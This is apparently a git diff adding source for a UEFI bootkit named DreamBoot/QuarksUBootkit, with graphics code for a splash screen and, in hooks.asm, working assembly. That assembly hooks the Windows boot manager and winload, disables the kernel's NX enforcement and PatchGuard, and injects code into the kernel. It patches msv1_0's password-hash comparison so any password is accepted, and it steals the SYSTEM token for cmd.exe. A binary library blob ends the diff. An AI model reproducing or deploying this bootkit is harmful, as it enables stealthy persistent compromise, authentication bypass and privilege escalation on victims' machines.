for(w=0;wbiWidth;w++, current_pix++, current_line_pix++) + { + current_pix->Blue = current_line_pix->rgbtBlue; + current_pix->Green = current_line_pix->rgbtGreen; + current_pix->Red = current_line_pix->rgbtRed; + } + } + +} + + +/* + * Initialize EFI UGA mode + * Use default resolution + */ +EFI_STATUS InitVgaMode(EFI_LOADED_IMAGE *ImageInfo) +{ + UINT8 *vga_background_data = (UINT8 *)NULL; + UINT8 *vga_charset_data = (UINT8 *)NULL; + UINT32 vga_background_bmpsize = 0; + UINT32 vga_charset_bmpsize = 0; + UINT32 cDepth,rRate; + EFI_STATUS err; + + /* Get UGA mode info */ + Print(L"[+] Open UGA mode\r\n"); + err = BS->HandleProtocol(ST->ConsoleOutHandle,&UgaDrawProtocol,(void **)&uga_draw_protocol); + if(err != EFI_SUCCESS) { + Print(L"[!] UgaDrawProtocol err = %08X\r\n",err); + return err; + } + + err = uga_draw_protocol->GetMode(uga_draw_protocol,&vga_hSize,&vga_vSize,&cDepth,&rRate); + if(err != EFI_SUCCESS) { + Print(L"[+] UGA GetMode err = %08X\r\n",err); + return err; + } + Print(L"-> width/height = %d x %d\r\n",vga_hSize,vga_vSize); + Print(L"-> depth/rate = %d bpp, %d Hz\r\n",cDepth,rRate); + + /* Set graphic mode */ + Print(L"[+] Set graphic mode\r\n"); + err = BS->LocateProtocol(&gEfiConsoleControlProtocolGuid,NULL,(void **)&console_control_protocol); + if(err != EFI_SUCCESS) { + Print(L"[!] ConsoleControlProtocol err = %08X\r\n",err); + return err; + } + + err = console_control_protocol->SetMode(console_control_protocol,EfiConsoleControlScreenGraphics); + if(err!= EFI_SUCCESS) { + Print(L"[!] Cannot switch graphic mode EfiConsoleControlScreenGraphics = %08X\r\n",err); + return err; + } + + /* Build backbuffer */ + err = BS->AllocatePool(EfiLoaderData,vga_hSize*vga_vSize*sizeof(EFI_UGA_PIXEL),(void **)&vga_screen); + if(err != EFI_SUCCESS) { + Print(L"[!] AllocatePool err = %08X\r\n",err); + return err; + } + vga_screen_surface.pix = vga_screen; + vga_screen_surface.width = vga_hSize; + vga_screen_surface.height = vga_vSize; + + /* Extract bitmap from PE resource */ + vga_background_bmpsize = GetResource(ImageInfo,RT_BITMAP,IDB_SPLASHSCREEN,(UINT8 *)NULL); + err = BS->AllocatePool(EfiLoaderData,vga_background_bmpsize,(void **)&vga_background_data); + if(err != EFI_SUCCESS) { + Print(L"[!] AllocatePool err = %08X\r\n",err); + return err; + } + GetResource(ImageInfo,RT_BITMAP,IDB_SPLASHSCREEN,vga_background_data); + ConvertBitmapResToBltBuffer(vga_background_data, + vga_background_bmpsize, + &vga_background_width, + &vga_background_height, + &vga_background_pix); + vga_background_surface.pix = vga_background_pix; + vga_background_surface.width = vga_background_width; + vga_background_surface.height = vga_background_height; + + vga_charset_bmpsize = GetResource(ImageInfo,RT_BITMAP,IDB_CHARSET,(UINT8 *)NULL); + err = BS->AllocatePool(EfiLoaderData,vga_charset_bmpsize,(void **)&vga_charset_data); + if(err != EFI_SUCCESS) { + Print(L"[!] AllocatePool err = %08X\r\n",err); + return err; + } + GetResource(ImageInfo,RT_BITMAP,IDB_CHARSET,vga_charset_data); + ConvertBitmapResToBltBuffer(vga_charset_data, + vga_charset_bmpsize, + &vga_charset_width, + &vga_charset_height, + &vga_charset_pix); + + /* Create timer event */ + BS->CreateEvent(EVT_TIMER,0,(EFI_EVENT_NOTIFY)NULL,NULL,&timerEvent); + BS->SetTimer(timerEvent,TimerPeriodic,10000); + + /* Free stuffs */ + if(vga_background_data) + BS->FreePool(vga_background_data); + if(vga_charset_data) + BS->FreePool(vga_charset_data); + + return EFI_SUCCESS; +} + + +/* + * Clear screen with unique color + */ +void VGAClearScreen() +{ + uga_draw_protocol->Blt(uga_draw_protocol, + &vga_clearscreen_color, + EfiUgaVideoFill, + 0,0,0,0, + vga_hSize, + vga_vSize, + 0); +} + + +/* + * Copy backbuffer to video screen +*/ +void VGAFlipScreen() +{ + uga_draw_protocol->Blt(uga_draw_protocol, + vga_screen, + EfiUgaBltBufferToVideo, + 0,0,0,0, + vga_hSize, + vga_vSize, + 0); +} + + +/* + * Draw stuff on screen + */ +EFI_STATUS DoVgaLoop() +{ + UINT32 i; + UINTN index; + EFI_EVENT events[2]; + EFI_INPUT_KEY keystroke; + + /* Clear screen */ + VGAClearScreen(); + + /* Build events for timer / keystrokes */ + events[0] = ST->ConIn->WaitForKey; + events[1] = timerEvent; + + InitStarfield(); + + DrawString(&vga_background_surface,L" --+++ DreamBoot +++--",5,360); + DrawString(&vga_background_surface,L" + Successfull installation @",5,363+2*16); + DrawString(&vga_background_surface,L" + Hook installed on bootmgfw",5,363+4*16); + DrawString(&vga_background_surface,L" Have phun %",5,367+6*16); + + do { + /* Copy background to backbuffer */ + ZeroMem(vga_screen,vga_hSize*vga_vSize*sizeof(EFI_UGA_PIXEL)); + for(i=0;iWaitForEvent(2,events,&index); + if(index == 0) + { + ST->ConIn->ReadKeyStroke(ST->ConIn,&keystroke); + break; + } + }while(1); + + return EFI_SUCCESS; +} + + +/* + * Exit UGA mode and go back to text mode + * Free mem + */ +EFI_STATUS CloseVgaMode() +{ + EFI_STATUS err = EFI_SUCCESS; + + if(vga_background_pix) + BS->FreePool(vga_background_pix); + if(vga_charset_pix) + BS->FreePool(vga_charset_pix); + if(vga_screen) + BS->FreePool(vga_screen); + + if(console_control_protocol) + err = console_control_protocol->SetMode(console_control_protocol,EfiConsoleControlScreenText); + + return err; +} diff --git a/QuarksUBootkit/VgaFun.h b/QuarksUBootkit/VgaFun.h new file mode 100644 index 0000000..4300799 --- /dev/null +++ b/QuarksUBootkit/VgaFun.h @@ -0,0 +1,177 @@ +#pragma once + + +#include "common.h" +#include "PeCoffLib.h" +#include "resource.h" +#include + + +/* Starfield */ +typedef struct { + int posx,posy; + int x,y; + float z; + UINT32 vitesse; + EFI_UGA_PIXEL color; +}s_star; + +#define N_STARS 150 + +typedef struct { + EFI_UGA_PIXEL *pix; + UINT32 width; + UINT32 height; +}EFI_SURFACE; + +/* + * Initialize UGA video mode + */ +EFI_STATUS InitVgaMode(EFI_LOADED_IMAGE *ImageInfo); + +/* + * Draw fun stuffs on screen :) + */ +EFI_STATUS DoVgaLoop(); + +/* + * Close UGA video mode and go back to text mode + */ +EFI_STATUS CloseVgaMode(); + + +/* + * Draw string on screen + */ +void DrawString(EFI_SURFACE *surface,CHAR16 *str,UINT32 posx,UINT32 posy); + + +/* + * Wait for a key stroke + */ +void WaitForKey(); + + +/* + * Some windows BMP header stuffs + */ +typedef struct tagBITMAPINFOHEADER { + UINT32 biSize; + UINT32 biWidth; + UINT32 biHeight; + UINT16 biPlanes; + UINT16 biBitCount; + UINT32 biCompression; + UINT32 biSizeImage; + UINT32 biXPelsPerMeter; + UINT32 biYPelsPerMeter; + UINT32 biClrUsed; + UINT32 biClrImportant; +} BITMAPINFOHEADER, *PBITMAPINFOHEADER; + +typedef struct tagRGBTRIPLE { + UINT8 rgbtBlue; + UINT8 rgbtGreen; + UINT8 rgbtRed; +} RGBTRIPLE; + + +/* + * Console protocol hack + * This protocol were not found in EFI 1.1 for graphic mode switching + * even UGA protocol is there +*/ +#define EFI_CONSOLE_CONTROL_PROTOCOL_GUID \ + { 0xf42f7782, 0x12e, 0x4c12, {0x99, 0x56, 0x49, 0xf9, 0x43, 0x4, 0xf7, 0x21} } + +typedef struct _EFI_CONSOLE_CONTROL_PROTOCOL EFI_CONSOLE_CONTROL_PROTOCOL; + + +typedef enum { + EfiConsoleControlScreenText, + EfiConsoleControlScreenGraphics, + EfiConsoleControlScreenMaxValue +} EFI_CONSOLE_CONTROL_SCREEN_MODE; + + +typedef +EFI_STATUS +(EFIAPI *EFI_CONSOLE_CONTROL_PROTOCOL_GET_MODE) ( + IN EFI_CONSOLE_CONTROL_PROTOCOL *This, + OUT EFI_CONSOLE_CONTROL_SCREEN_MODE *Mode, + OUT BOOLEAN *GopUgaExists, OPTIONAL + OUT BOOLEAN *StdInLocked OPTIONAL + ) +/*++ + + Routine Description: + Return the current video mode information. Also returns info about existence + of Graphics Output devices or UGA Draw devices in system, and if the Std In + device is locked. All the arguments are optional and only returned if a non + NULL pointer is passed in. + + Arguments: + This - Protocol instance pointer. + Mode - Are we in text of grahics mode. + GopUgaExists - TRUE if Console Spliter has found a GOP or UGA device + StdInLocked - TRUE if StdIn device is keyboard locked + + Returns: + EFI_SUCCESS - Mode information returned. + +--*/ +; + + +typedef +EFI_STATUS +(EFIAPI *EFI_CONSOLE_CONTROL_PROTOCOL_SET_MODE) ( + IN EFI_CONSOLE_CONTROL_PROTOCOL *This, + IN EFI_CONSOLE_CONTROL_SCREEN_MODE Mode + ) +/*++ + + Routine Description: + Set the current mode to either text or graphics. Graphics is + for Quiet Boot. + + Arguments: + This - Protocol instance pointer. + Mode - Mode to set the + + Returns: + EFI_SUCCESS - Mode information returned. + +--*/ +; + + +typedef +EFI_STATUS +(EFIAPI *EFI_CONSOLE_CONTROL_PROTOCOL_LOCK_STD_IN) ( + IN EFI_CONSOLE_CONTROL_PROTOCOL *This, + IN CHAR16 *Password + ) +/*++ + + Routine Description: + Lock Std In devices until Password is typed. + + Arguments: + This - Protocol instance pointer. + Password - Password needed to unlock screen. NULL means unlock keyboard + + Returns: + EFI_SUCCESS - Mode information returned. + EFI_DEVICE_ERROR - Std In not locked + +--*/ +; + + +struct _EFI_CONSOLE_CONTROL_PROTOCOL { + EFI_CONSOLE_CONTROL_PROTOCOL_GET_MODE GetMode; + EFI_CONSOLE_CONTROL_PROTOCOL_SET_MODE SetMode; + EFI_CONSOLE_CONTROL_PROTOCOL_LOCK_STD_IN LockStdIn; +}; + diff --git a/QuarksUBootkit/common.h b/QuarksUBootkit/common.h new file mode 100644 index 0000000..0945e83 --- /dev/null +++ b/QuarksUBootkit/common.h @@ -0,0 +1,6 @@ +#pragma once + +#include +#include + + diff --git a/QuarksUBootkit/hooks.asm b/QuarksUBootkit/hooks.asm new file mode 100644 index 0000000..fa3e28b --- /dev/null +++ b/QuarksUBootkit/hooks.asm @@ -0,0 +1,584 @@ + + +PUBLIC BOOTMGFW_Archpx64TransferTo64BitApplicationAsm_saved_bytes + +CR0_WP_CLEAR_MASK equ 0fffeffffh ; Desactivate WP with CR0 +CR0_WP_SET_MASK equ 010000h ; Activate WP with CR0 + + +.data + +; FIRST STAGE PATCH saved bytes +BOOTMGFW_Archpx64TransferTo64BitApplicationAsm_saved_bytes db 9 dup(0) + +; SECOND STAGE PATCH saved bytes, pattern +EXTERN WINLOAD_PATTERN_OslArchTransferToKernel:db +EXTERN WINLOAD_PATTERN_OslArchTransferToKernel_size:qword +WINLOAD_OslArchTransferToKernel_saved_bytes db 9 dup(0) ; mov (cs:ArchpChildAppEntryRoutine) + +; THIRD STAGE PATCH +EXTERN NTOSKRNL_PATTERN_NXFlag:db +EXTERN NTOSKRNL_PATTERN_NXFlag_size:qword +EXTERN NTOSKRNL_PATTERN_PATCHGUARD:db +EXTERN NTOSKRNL_PATTERN_PATCHGUARD_size:qword + +EXTERN CRC32_TAB:dw + +.code +ALIGN 16 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; bootmgfw.efi hooking +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook proc + + push rax ; rax is a ptr to winload.exe entry point bytes + +; Save some reg to do our job + push rbx + push rcx + push rdx + push rsi + push rdi + + xor rcx,rcx + +; Search image base + and ax, 0F000h +imagebase_search: + cmp word ptr [rax],05A4Dh + je imagebase_findsize + sub rax,01000h + jmp imagebase_search + +; Get image size in PE +imagebase_findsize: + mov ecx, dword ptr[rax+03Ch] ; get e_lfanew from DOS headers + mov ecx, dword ptr[rax+rcx+050h] ; get sizeOfImage from OptionialHeader in PE + +; Search for pattern + lea rsi, WINLOAD_PATTERN_OslArchTransferToKernel + sub rcx,WINLOAD_PATTERN_OslArchTransferToKernel_size + xor rbx,rbx + xor rdx,rdx + +pattern_search_loop: + cmp rdx,rcx + jae bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook_exit + push rcx + mov cl,byte ptr[rsi+rbx] + cmp cl,byte ptr[rax+rbx] + pop rcx + jne pattern_search_continue + inc rbx + cmp rbx,WINLOAD_PATTERN_OslArchTransferToKernel_size + jae proceed_save_bytes + jmp pattern_search_loop +pattern_search_continue: + xor rbx,rbx + inc rax + inc rdx + jmp pattern_search_loop + +; Save old bytes +proceed_save_bytes: + lea rdi,WINLOAD_OslArchTransferToKernel_saved_bytes + mov rsi,rax + mov rcx,9 + rep movsb byte ptr[rdi], byte ptr[rsi] + +; Make hook + mov byte ptr[rax], 0E8h + lea ebx, winload_OslArchTransferToKernel_hook + lea ecx, [eax+5] + sub ebx,ecx + mov dword ptr[rax+1], ebx + +; restore saved reg and go back in the cloud by restoring patched bytes \o/ +bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook_exit: + lea rsi, BOOTMGFW_Archpx64TransferTo64BitApplicationAsm_saved_bytes + mov rdi, qword ptr[esp+030h] + sub rdi,5 + mov rcx, 5 + rep movsb byte ptr[rdi], byte ptr[rsi] + sub qword ptr[esp+030h],5 + pop rdi + pop rsi + pop rdx + pop rcx + pop rbx + pop rax + ret + +bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook endp + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; winload.exe hooking +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +winload_OslArchTransferToKernel_hook proc + push rdx ; rdx is ptr to ntoskrnl:kiSystemStartup (main function) + + ; Save some reg to do our job + push rcx + push rbx + push rax + push rdi + push rsi + + ; Search image base + and dx, 0F000h +kernel_imagebase_search: + cmp word ptr [rdx],05A4Dh + je kernel_get_image_size + sub rdx,01000h + jmp kernel_imagebase_search + + ; Search for NX flag pattern in image +kernel_get_image_size: + mov ecx, dword ptr[rdx+03Ch] ; get e_lfanew from DOS headers + mov ebx, dword ptr[rdx+rcx+050h] ; get sizeOfImage from OptionialHeader in PE + + ; Bye bye NX flag :) +cancel_NX_FLAG: + lea rcx, NTOSKRNL_PATTERN_NXFlag + sub rbx,NTOSKRNL_PATTERN_NXFlag_size + push rdx + mov rax,rdx + mov rdx,NTOSKRNL_PATTERN_NXFlag_size + call kernel_find_pattern + cmp rax,0 + je winload_OslArchTransferToKernel_hook_exit + mov byte ptr[rax],0EBh + mov NTOSKRNL_NxPatchAddr,rax + + ; Bye bye patch guard :) + mov rax,[rsp] + lea rcx,NTOSKRNL_PATTERN_PATCHGUARD + mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size + call kernel_find_pattern + cmp rax,0 + je winload_OslArchTransferToKernel_hook_exit + mov dword ptr[rax+2],090D23148h + mov word ptr[rax+6],09090h + mov byte ptr[rax+8],090h + + ; Get NtSetInformationThread and PsSetLoadImageNotifyRoutine APi addr +kernel_get_exports: + pop rdx + xor rbx,rbx + mov ebx, dword ptr[rdx+03Ch] ; get e_lfanew from DOS headers + lea rbx, [rdx+rbx] ; get PE full addr + mov rax,rdx + call kernel_get_exports_to_hook + + ; Save NtSetInformationThread first bytes + mov rsi,qword ptr [NTOSKRNL_API_ep] + lea rdi,NTOSKRNL_NtSetInformationThread_saved_bytes + mov rcx,10 + rep movsb byte ptr[rdi], byte ptr[rsi] + + ; Inject code + data in reloc table + mov edi,dword ptr[rbx+0B0h] ; PE.offset_reloc_table + add rdi,rdx + mov ebx,dword ptr[rbx+0B4h] ; PE.offset_reloc_table_size + test ebx,ebx + jz winload_OslArchTransferToKernel_hook_exit2 ; Exit if Relocation table is empty + lea rsi,ntoskrnl_inj_beginning + mov ecx,(ntoskrnl_inj_end-ntoskrnl_inj_beginning) + push rdi ; Save reloc table full addr + rep movsb byte ptr[rdi], byte ptr[rsi] + + ; Hook nt!NtSetInformationthread + mov rax,qword ptr [NTOSKRNL_API_ep] + mov byte ptr[rax],0E8h + pop rbx ; Get back reloc table full addr + lea rcx, [rax+5] + sub rbx,rcx + mov dword ptr[rax+1],ebx + jmp winload_OslArchTransferToKernel_hook_exit2 + + ; restore saved reg and go back in the cloud by restoring patched bytes \o/ +winload_OslArchTransferToKernel_hook_exit: + pop rdx +winload_OslArchTransferToKernel_hook_exit2: + lea rsi, WINLOAD_OslArchTransferToKernel_saved_bytes + mov rdi, qword ptr[esp+030h] + sub rdi,5 + mov rcx, 9 + rep movsb byte ptr[rdi], byte ptr[rsi] + sub qword ptr[esp+030h],5 + pop rsi + pop rdi + pop rax + pop rbx + pop rcx + pop rdx + ret +winload_OslArchTransferToKernel_hook endp + + +; Find a pattern in kernel +; RAX = base_ptr +; RBX = base_size +; RCX = pattern_ptr +; RDX = pattern_size +kernel_find_pattern: + push rcx + push r8 + push r9 + xor r8,r8 + xor r9,r9 +kernel_pattern_search_loop: + cmp r9,rbx + jae kernel_pattern_search_exit_error + push rcx + mov cl,byte ptr[rcx+r8] + cmp cl,byte ptr[rax+r8] + pop rcx + jne kernel_pattern_search_continue + inc r8 + cmp r8,rdx + jae kernel_pattern_search_exit + jmp kernel_pattern_search_loop +kernel_pattern_search_continue: + xor r8,r8 + inc rax + inc r9 + jmp kernel_pattern_search_loop +kernel_pattern_search_exit_error: + xor rax,rax + jmp kernel_pattern_search_exit +kernel_pattern_search_exit: + pop r9 + pop r8 + pop rcx + ret + +; Resolve image export and store function entry point in global : +; RAX = ptr to image base +; RBX = ptr to PE image header +kernel_get_exports_to_hook: + push r12 + push r11 + push r10 + push r9 + push r8 + push rcx + push rbx + xor r8,r8 + xor r9,r9 + xor r10,r10 + xor r11,r11 + xor r12,r12 + mov ebx,dword ptr[rbx+088h] ; PE.offset_export_table + add rbx,rax ; Full address of export table + mov r8d,dword ptr[rbx+020h] ; export.addressOfNames + add r8,rax ; Full address of names + mov r9d,dword ptr[rbx+01ch] ; export.addressOfFunctions + add r9,rax ; Full address of functions addr table + mov r10d,dword ptr[rbx+018h] ; Number of names + mov r11d,dword ptr[rbx+024h] ; export.addressOfOrdinals + add r11,rax ; Full address of functions ordinals + + xor rcx,rcx +kernel_get_exports_to_hook_next: + mov ebx,dword ptr[r8] ; Next export name entry + add rbx,rax ; make full addr + xor r12,r12 + mov r12w,word ptr[r11+rcx*2] ; Next ordinal + push rax + mov r12d,dword ptr[r9+r12*4] ; Next address of function + add rax,r12 ; Next address of function full addr + call check_export_to_hook ; Check if this export need to be hooked & store it's VA if it needs + pop rax + add r8,4 ; Proceed with next export name entry + inc rcx + dec r10d ; Decrement number of entries to treat + jnz kernel_get_exports_to_hook_next ; Is it last export? + + pop rbx + pop rcx + pop r8 + pop r9 + pop r10 + pop r11 + pop r12 + ret + +; Check if given export need to be hooked et if so store its address +; RAX = API addr +; RBX = API name +check_export_to_hook: + push rsi + push rdi + push rdx + push rcx + push rax + mov rsi,rbx + mov rcx,rax + call crc32_comp_string ; Get CRC32 of export name string + mov edx,eax + lea rsi,NTOSKRNL_API_crc32 ; Get address of checksum patterns + lea rdi,[NTOSKRNL_API_ep-8] ; Get full address of table to store func VA +check_export_to_hook_next: + add edi,8 ; Next checksum store entry + lodsd ; Get next checksum pattern + test eax,eax ; Is it last pattern? + jz check_export_to_hook_exit ; Exit if it's the last + cmp eax,edx ; Checksums equality ? + jnz check_export_to_hook_next ; If no, proceed with next checksum + mov [rdi],rcx ; Store function VA in a table +check_export_to_hook_exit: + pop rax + pop rcx + pop rdx + pop rdi + pop rsi + ret + +; Compute CRC32 of a string without NULL char +; RSI = ptr to a string, result in EAX +crc32_comp_string: + push rsi + push rdi + push rbx + xor rbx,rbx + mov eax,0FFFFFFFFh + lea rdi,CRC32_TAB +crc32_comp_string_loop: + mov bl,byte ptr[rsi] + cmp bl,0 + je crc32_comp_string_exit + xor bl,al + shr eax,8 + xor eax,dword ptr[ebx*4+rdi] + inc rsi + jmp crc32_comp_string_loop +crc32_comp_string_exit: + not eax + pop rbx + pop rdi + pop rsi + ret + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; ntoskrnl.exe injected code in reloc +;; Need NX flag desactivated to be executed +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +ntoskrnl_inj_beginning: + +; Injected code in ntoskrnl reloc table +; it is called when NtSetInformationThread is called by the hook +ntoskrnl_injected_code proc + pushfq + push rax + push rcx + push rdx + push rsi + push rdi + + ; Allocate memory for callback + mov rdx,4096 ; NumberOfBytes + mov rcx,0 ; PoolType = NonPagedPoolExecute + call [NTOSKRNL_API_ep+16] ; ExAllocatePool + + ; inject image notify routine callback in it + lea rsi,image_notify_callback + mov rdi,rax + push rdi + mov ecx, image_notify_callback_end-image_notify_callback + rep movsb byte ptr[rdi], byte ptr[rsi] + + ; call PsSetLoadImageNotifyRoutine + pop rcx + call [NTOSKRNL_API_ep+8] + + + ; Remove NtSetInformationThread hook + lea rsi, NTOSKRNL_NtSetInformationThread_saved_bytes + mov rdi, qword ptr[rsp+030h] + sub rdi,5 + cli + mov rcx,cr0 ; \ + and rcx, CR0_WP_CLEAR_MASK ; | Unprotect kernel memory (not needed before Win 8) + mov cr0,rcx ; / + mov rcx, 10 + rep movsb byte ptr[rdi], byte ptr[rsi] + + ; Fix NX patch to avoid PatchGuard (not working, TODO; make it work with PG activated ) + mov byte ptr[NTOSKRNL_NxPatchAddr],074h + + mov rcx,cr0 ; \ + or rcx, CR0_WP_SET_MASK ; | Restore kernel memory protection + mov cr0,rcx ; / + sti + + ; Go back in hooked function + sub qword ptr[rsp+030h],5 + pop rdi + pop rsi + pop rdx + pop rcx + pop rax + popfq + ret +ntoskrnl_injected_code endp + + + +; Image notidy routine called by kernel each time a PE is loaded in memory +; Look for +; VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)( +; __in_opt PUNICODE_STRING FullImageName, (RCX) +; __in HANDLE ProcessId, (RDX) +; __in PIMAGE_INFO ImageInfo); (RD8) + +image_notify_callback proc + pushfq + push rsi + push rdi + push rax + push rbx + push rcx + push rdx + + ; Check if it is msv1_0.dll or cmd.exe + xor rbx,rbx + mov bx,word ptr[rcx] ; FullImageName byte size + cmp rbx,20 + jl image_notify_callback_exit + mov rdi,qword ptr[rcx+8] ; Ptr to FullImageName unicode string + mov rcx,068006E006F0063h;02E0064006D0063h + cmp qword ptr[rdi+rbx-016h], rcx ;-00Eh],rcx + jne image_notify_callback_check_msv1_0 + mov rax,rdx + call image_notify_callback_escalate_priv + jmp image_notify_callback_exit + +image_notify_callback_check_msv1_0: + cmp dword ptr[rdi+rbx-014h],073006Dh + jnz image_notify_callback_exit + cmp dword ptr[rdi+rbx-010h],0310076h + jnz image_notify_callback_exit + + ; Get image base + size + mov rdx,qword ptr[r8+8] ; IMAGE_INFO.ImageBase + mov rcx,qword ptr[r8+018h] ; IMAGE_INFO.ImageSize + sub rcx,MSV1_0_PATTERN_MsvpPasswordValidate_size + lea rsi,MSV1_0_PATTERN_MsvpPasswordValidate + xor rax,rax + + ; Search for a pattern +image_notify_callback_search_pattern: + cmp rax,rcx + jae image_notify_callback_exit + push rcx + mov cl,byte ptr[rsi+rbx] + cmp cl,byte ptr[rdx+rbx] + pop rcx + jne image_notify_callback_search_continue + inc rbx + cmp rbx,MSV1_0_PATTERN_MsvpPasswordValidate_size + jae image_notify_callback_proceed_patch + jmp image_notify_callback_search_pattern +image_notify_callback_search_continue: + xor rbx,rbx + inc rdx + inc rax + jmp image_notify_callback_search_pattern + + ; Patch hash compare \o/ +image_notify_callback_proceed_patch: + cli + mov rcx,cr0 ; \ + and rcx, CR0_WP_CLEAR_MASK ; | Unprotect kernel memory (not needed before Win 8) + mov cr0,rcx ; / + mov dword ptr[rdx],90909090h + mov word ptr[rdx+4],9090h + mov rcx,cr0 ; \ + or rcx, CR0_WP_SET_MASK ; | Restore kernel memory protection + mov cr0,rcx ; / + sti + + ; Go back in the kernel cloud \o/ +image_notify_callback_exit: + pop rdx + pop rcx + pop rbx + pop rax + pop rdi + pop rsi + popfq + ret + +; Escalate priv of a process +; RAX = PID handle +image_notify_callback_escalate_priv: + push rsi + push rdi + push rcx + push rdx + push r8 + push r9 + cli + mov rdx, gs:[188h] ; _ETHREAD pointer from KPCR + mov r8, [rdx+0B8h] ; _EPROCESS (see PsGetCurrentProcess function) + mov r9, [r8+2E8h] ; ActiveProcessLinks list head + + mov rcx, [r9] ;follow link to first process in list +find_system_proc: + mov rdx, [rcx-8] ; offset from _EPROCESSActiveProcessLinks to _EPROCESSUniqueProcessId + cmp rdx, 4 ; System process always has PID=4 + jz found_it + mov rcx, [rcx] ; follow _LIST_ENTRY Flink pointer + cmp rcx, r9 ; see if back at list head + jnz find_system_proc + +found_it: + mov r8, [r9] ; follow link to first process in list +find_target_proc: + lea rsi,CMD_EXE_SZ + lea rdi,[r8+0150h] ; _EPROCESS.ImageFileName + push rcx + mov rcx,7 + repe cmpsb byte ptr[rdi], byte ptr[rsi] + pop rcx + jz found_all + mov r8, [r8] ;follow _LIST_ENTRY Flink pointer + cmp r8, r9 ;see if back at list head + jnz find_target_proc + +found_all: + mov rdx, [rcx+60h] ; offset from ActiveProcessLinks to System token (_EPROCESS.Token) + and dl, 0f0h ; clear low 4 bits of _EX_FAST_REF structure + mov [r8+60h], rdx ; replace target process token (_EPROCESS.Token) with system token + sti + pop r9 + pop r8 + pop rdx + pop rcx + pop rdi + pop rsi + ret + +image_notify_callback endp + +; Injected data +MSV1_0_PATTERN_MsvpPasswordValidate db 0Fh,085h,0A8h,0B2h,00h,00h,66h,0B8h,001h,00h,48h,08Bh +MSV1_0_PATTERN_MsvpPasswordValidate_size qword 12 + +CMD_EXE_SZ db 'cmd.exe',0 + +image_notify_callback_end: + +NTOSKRNL_API_crc32 dword 0466F2056h,04317DE92h,0D17C941Eh,0 ; ("NtSetInformationThread","PsSetLoadImageNotifyRoutine","ExAllocatePool",0) +NTOSKRNL_API_ep qword 3 dup(0) ; API entry point +NTOSKRNL_NxPatchAddr qword 0 + +NTOSKRNL_NtSetInformationThread_saved_bytes db 10 dup(0) + +ntoskrnl_inj_end: + +end \ No newline at end of file diff --git a/QuarksUBootkit/lib/libefi.lib b/QuarksUBootkit/lib/libefi.lib new file mode 100644 index 0000000000000000000000000000000000000000..60895bd6fa779fbef397fd6851bba38dad0752af GIT binary patch literal 121430 zcmeFaePCQibvJxhT4ULOW6?*##WZ|N)kZ8{tT_IC@y z=I^%Wiho_}gWz2Lh7pea?Sl;eCw^c1Wf1%tezEw1!2K$I6vR&TtF8!QGx^nluJG6N zo*-s_H*N`H{JrzD|9Af$JP^db@X-JJO_v4}$AVa?-`Cd%G5h;A@;Ur9=5}sgwPI-b zvY@%8E4M8VOR!5$E}v`f&fS%5&TY+fx97L@_U{Nb<=6K1?9BG(n{xws z*x$gdeP1-_)4hI=DSRXzTB2>KVwl_jF`w+cemd&+W*H>&C&nhuYMh z8_2e1ntfDuAm7_B$W5(a-_Y^y!CZf~xwqqX*fwRmv+V=cwzhXiUweP{`oUZ$+>C8Q zRuiD_PK8>sc?I5CO#_{oe80tP$h3I2mJMr~Hd@5>*?h~6t-0O- zBm`29K0?%;1NrO@3enKh*^=!?e%vs)V{5iQ2y^H9?%u8K-Azd8ojD}Rrfhp>rXz=3 z+Lqg{w%-1HaC3hypAGS9r9(r$H^(qr@`GD9Wb^I04ej}kE{lOo&3E)~?vsd+ghDdA zNUD^cCuSw`lrNC*h5W>;aj>sD*U_HO(!#9e>yCcDB!BT{5O@i1ynD!CAm87CT;RJq z+avEDK@3smwcWh~*_PanzV0mJygt{R4L0^=dkRo=D?l}5kkI)6qAJk1b-Mv_11!p! z_U+j<{n_^0gT}!fed+8_phY~yukRil=(;(V?+Q`Kv(Q36P0CYW4f!CmzIk&?I>=nV zu61pYX=+`!A;@Gl6K+}8+R)m%DaiEpcB?1v37;)$MQIB|Xho@S?PZFg$lTQ4JqQ~^ zHK1|04N+sYxXlQ28-sB17Mt?E&Ad!d4c*a%0tr(G-zP>-J zY_9L`y<^Sbwrwc9C~l3YZTaj??I_YnaZ~8mcICP|QF8PBz1`i}{&ag!XLokMII69& zJ>R|+)wE@B>p)iOI}(0Fdk?a#^OW8#%{1J_8EM(rpF``m29+3=r~nzX2R&^5N{ZJa zRaL9qV1Ii)*W1(TMQwA=WQkVqf{0ryYdIS{5TTVrE8E)J+Mes)xNS{uZ+>Hcr=}fR zn%@39(bAHxrK7zknl!BRe*T$O3MC`gxna$wz&2KX^A|QJ+8TOop>2GvjKR8XxwT!{ zj@xg__75PIv?C9!&Eu5Y>NQiFdvYDUoyfPoJ~lf|1MpUtTxNi}B!Kn6)Fn6er*qr8 zG^VW7O+DLs8BxNT$i203PW}S%+NK z_xJ8FsUIR8r()FFUi9;1h8~Xmq>_YIkrs`$>19HPfQ81hBDX?YYp*L5%*GPlokVb! z&Mx#k5Nz)0Ywx%{#00kirf_x3SFdmu4h2F>zTLB}85qF7b6nfFY2${_=9(FYTG!L* z1hQeR&uv8!4Q=eakVzJiZtw4u7R_OrmTe5-%+65Irp(S&p$i5NJ-Ib#e;sN=dq+cO zXMbqVcIMh`(eto7*e==dSq3)u+|EMlaG8z{Nab0>^l9lB2rZl2(M(uIn+LY~@Y?Qn zFXe7R3GM9<(APB#u+a>d=*yB)=%m)r?%6uq`_LH3n9)UGO-ryQH(;&eYfU!>hE2T| z7pxf^Xz9anc3ZAPdx?$cDf)Art^x+E&b>XTe>b%62(cOv8a>BJFs3E+kR9;epB->g 